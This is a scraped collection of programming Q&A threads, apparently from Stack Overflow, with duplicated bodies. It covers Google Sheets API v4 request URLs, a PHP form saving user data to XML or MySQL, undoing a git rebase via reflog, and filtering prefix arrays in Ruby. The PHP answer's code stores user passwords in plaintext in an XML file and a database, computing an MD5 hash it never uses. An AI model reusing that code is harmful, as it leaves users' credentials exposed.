I made authorisation for Spreadsheet API v4 with my email and at the end I generated a long link with key and saw correct response with content of my data table.

My question is next:
Why it's imposible to use the example from Google API (https://developers.google.com/sheets/api/samples/reading) only replace the spreadsheet id.
P.s Link to my spreadsheet is public, My spreadsheet is public and available in JSON format  and what is correct use of url for Google Spreadsheet API v4 in order to send batchGet with multiple requests?

P.s.s I use another approach and it works but why first approach (v4) doesn't work:

https://spreadsheets.google.com/feeds/list/{SpreadsheetID}/od6/public/values?alt=json

When I tried to combine 2 APIs in one request and received and error "Inconsistent repeating query parameter ranges":

https://spreadsheets.google.com/feeds/list/{SpreadsheetID}/od6/public/values:batchGet?ranges=Sheet1!B:B&ranges=Sheet1!D:D&valueRenderOption=UNFORMATTED_VALUES?majorDimension=COLUMNS

======================================

Edited:

SpreadSheetID: 1KBk1J7TJCwnayMnTbaysqvFk98kVDdxXWNw2JYc3bW0

Available in incognito mode: Spreadsheet

In JSON format: JSON

Reference: Google Sheets API v4: Read multiple ranges

The same example with SpreadSheetID: ERROR 403

Body:
You have to make sure to pass in the key=YOUR_API_KEY as the request parameter.
For example:

https://sheets.googleapis.com/v4/spreadsheets/{sheet_id}/values/Sheet1!A1:D5?key={YOUR_API_KEY}


问:
How to put XML files to MYSQL and MYSQL files to XML
I am trying to put in in to MYSQL and XML files but when i press to put in MYSQL it does that, and when i press to put in XML it puts in to MYSQL. I don't know how to fix that.</p>
```<code><?php
include_once 'includes/DuombazesInfo.php'
?>

<?php
if(isset($_REQUEST['Ikelimas'])) {
$xml = new DOMDocument ("1.0","UTF-8");
$xml -> load("pavyzdysxml.xml");

$rootTag = $xml -> getElementsByTagName ("document") -> item(0);

$dataTag = $xml -> createElement("data");

$nameTag = $xml -> createElement("name", $_REQUEST['name']);
$lastnameTag = $xml -> createElement("lastname", $_REQUEST['lastname']);
$emailTag = $xml -> createElement("email", $_REQUEST['email']);
$passwordTag = $xml -> createElement("password", $_REQUEST['password']);

$dataTag -> appendChild($nameTag);
$dataTag -> appendChild($lastnameTag);
$dataTag -> appendChild($emailTag);
$dataTag -> appendChild($passwordTag);

$rootTag -> appendChild($dataTag);

$xml -> save("PavyzdysXML.xml");
}
</code>```

答:
You should add a check to the file includes/prisijungimas.php:</p>

```<code><?php
include_once 'DuombazesInfo.php';

//If button with name "Ikelimas" was clicked
if(isset($_REQUEST['Ikelimas'])) {
   //Generete XML here (code from first message)
   $xml = new DOMDocument("1.0","UTF-8");
   $xml->load("pavyzdysxml.xml");

   $rootTag = $xml->getElementsByTagName ("document") -> item(0);

   $dataTag = $xml->createElement("data");

   $nameTag = $xml->createElement("name", $_REQUEST['name']);
   $lastnameTag = $xml->createElement("lastname", $_REQUEST['lastname']);
   $emailTag = $xml->createElement("email", $_REQUEST['email']);
   $passwordTag = $xml->createElement("password", $_REQUEST['password']);

   $dataTag->appendChild($nameTag);
   $dataTag->appendChild($lastnameTag);
   $dataTag->appendChild($emailTag);
   $dataTag->appendChild($passwordTag);

   $rootTag->appendChild($dataTag);

   $xml->save("PavyzdysXML.xml");
} else {
   //Insert into DB (code from includes/prisijungimas.php)

   // Kodo eilute skirta apsaugoti duomenis, kad ju negaletu istrinti pasinaudojant formos langais
   $vardas = mysqli_real_escape_string($conn, $_POST['name']);
   $pavarde = mysqli_real_escape_string($conn, $_POST['lastname']);
   $pastas = mysqli_real_escape_string($conn, $_POST['email']);
   $slaptazodis = mysqli_real_escape_string($conn, $_POST['password']);
   $md5pass = md5($slaptazodis);

   // Kodas skirtas įdėti į duomenų bazę duomenis kurie buvo suvesti formoje
   $sql = "INSERT INTO vartotojai1 (vardas, pavarde, pastas, slaptazodis)
   VALUES ('$vardas', '$pavarde', '$pastas ', '$slaptazodis');";
   mysqli_query($conn, $sql);
}

header("Location: ../index.php");
</code>```

Body:
I am trying to put in in to MYSQL and XML files but when i press to put in MYSQL it does that, and when i press to put in XML it puts in to MYSQL. I don't know how to fix that.

<?php
include_once 'includes/DuombazesInfo.php'
?>

<?php
if(isset($_REQUEST['Ikelimas'])) {
$xml = new DOMDocument ("1.0","UTF-8");
$xml -> load("pavyzdysxml.xml");

$rootTag = $xml -> getElementsByTagName ("document") -> item(0);

$dataTag = $xml -> createElement("data");

$nameTag = $xml -> createElement("name", $_REQUEST['name']);
$lastnameTag = $xml -> createElement("lastname", $_REQUEST['lastname']);
$emailTag = $xml -> createElement("email", $_REQUEST['email']);
$passwordTag = $xml -> createElement("password", $_REQUEST['password']);

$dataTag -> appendChild($nameTag);
$dataTag -> appendChild($lastnameTag);
$dataTag -> appendChild($emailTag);
$dataTag -> appendChild($passwordTag);

$rootTag -> appendChild($dataTag);

$xml -> save("PavyzdysXML.xml");
}

Body:
You should add a check to the file includes/prisijungimas.php:

<?php
include_once 'DuombazesInfo.php';

//If button with name "Ikelimas" was clicked
if(isset($_REQUEST['Ikelimas'])) {
   //Generete XML here (code from first message)
   $xml = new DOMDocument("1.0","UTF-8");
   $xml->load("pavyzdysxml.xml");

   $rootTag = $xml->getElementsByTagName ("document") -> item(0);

   $dataTag = $xml->createElement("data");

   $nameTag = $xml->createElement("name", $_REQUEST['name']);
   $lastnameTag = $xml->createElement("lastname", $_REQUEST['lastname']);
   $emailTag = $xml->createElement("email", $_REQUEST['email']);
   $passwordTag = $xml->createElement("password", $_REQUEST['password']);

   $dataTag->appendChild($nameTag);
   $dataTag->appendChild($lastnameTag);
   $dataTag->appendChild($emailTag);
   $dataTag->appendChild($passwordTag);

   $rootTag->appendChild($dataTag);

   $xml->save("PavyzdysXML.xml");
} else {
   //Insert into DB (code from includes/prisijungimas.php)

   // Kodo eilute skirta apsaugoti duomenis, kad ju negaletu istrinti pasinaudojant formos langais
   $vardas = mysqli_real_escape_string($conn, $_POST['name']);
   $pavarde = mysqli_real_escape_string($conn, $_POST['lastname']);
   $pastas = mysqli_real_escape_string($conn, $_POST['email']);
   $slaptazodis = mysqli_real_escape_string($conn, $_POST['password']);
   $md5pass = md5($slaptazodis);

   // Kodas skirtas įdėti į duomenų bazę duomenis kurie buvo suvesti formoje
   $sql = "INSERT INTO vartotojai1 (vardas, pavarde, pastas, slaptazodis)
   VALUES ('$vardas', '$pavarde', '$pastas ', '$slaptazodis');";
   mysqli_query($conn, $sql);
}

header("Location: ../index.php");


问:
Undoing a git rebase
How do I easily undo a git rebase? A lengthy manual method is:

checkout the commit parent to both of the branches

create and checkout a temporary branch

cherry-pick all commits by hand

reset the faulty rebased branch to point to the temporary branch

In my current situation, this works because I can easily spot commits from both branches (one was my stuff, the other was my colleague's stuff). However, my approach strikes me as suboptimal and error-prone (let's say I had just rebased with two of my own branches).

Clarification: I am talking about a rebase during which multiple commits were replayed, not only one.

答:
If you don't want to do a hard reset...

You can checkout the commit from the reflog, and then save it as a new branch:

```<code>git reflog
</code>```

Find the commit just before you started rebasing. You may need to scroll further down to find it (press Enter or PageDown). Take note of the HEAD number and replace 57:

```<code>git checkout HEAD@{57}
</code>```

Review the branch/commits, and if it's correct then create a new branch using this HEAD:

```<code>git checkout -b new_branch_name
</code>```

OwnerDisplayName: webmat

Title: Undoing a git rebase

Body:
If you don't want to do a hard reset...

You can checkout the commit from the reflog, and then save it as a new branch:

git reflog

Find the commit just before you started rebasing. You may need to scroll further down to find it (press Enter or PageDown). Take note of the HEAD number and replace 57:

git checkout HEAD@{57}

Review the branch/commits, and if it's correct then create a new branch using this HEAD:

git checkout -b new_branch_name


问:
clean "prefixes" in a set of arrays?
I was wondering, I've got a Set of Arrays containing something of my own datatype.
something looking like:

```<code>traces = {[<label1>, <label2>], [<label1>], [<label1>,<label2>,<label3>]}
</code>```

Now, I would like to have a method that cleans all 'prefix'-existing arrays in the Set,
so my new set will be in this example:

```<code>traces = {[<label1>,<label2>,<label3>]}
</code>```

Anybody an idea how to make a clean implementation out of this?
I hope there is a neater solution than stepping through traces and a Set new_traces and comparing every array-item several times.

Note:
I define Array A is a prefix of Array B iff the first items of Array B are actually the Array A

答:
Not quite the fastest solution, but rather simple:</p>

```<code>s = Set.new([[1,2],[1],[1,2,3]])
s.reject{|prefix|
  s.any?{|array|
    array.length > prefix.length && array[0,prefix.length] == prefix
  }
}
#=>[[1, 2, 3]]
</code>```

Title: clean "prefixes" in a set of arrays?

Body:
I was wondering, I've got a Set of Arrays containing something of my own datatype.
something looking like:

traces = {[<label1>, <label2>], [<label1>], [<label1>,<label2>,<label3>]}

Now, I would like to have a method that cleans all 'prefix'-existing arrays in the Set,
so my new set will be in this example:

traces = {[<label1>,<label2>,<label3>]}

Anybody an idea how to make a clean implementation out of this?
I hope there is a neater solution than stepping through traces and a Set new_traces and comparing every array-item several times.

Note:
I define Array A is a prefix of Array B iff the first items of Array B are actually the Array A

Body:
Not quite the fastest solution, but rather simple:

s = Set.new([[1,2],[1],[1,2,3]])
s.reject{|prefix|
  s.any?{|array|
    array.length > prefix.length && array[0,prefix.length] == prefix
  }
}
#=>[[1, 2, 3]]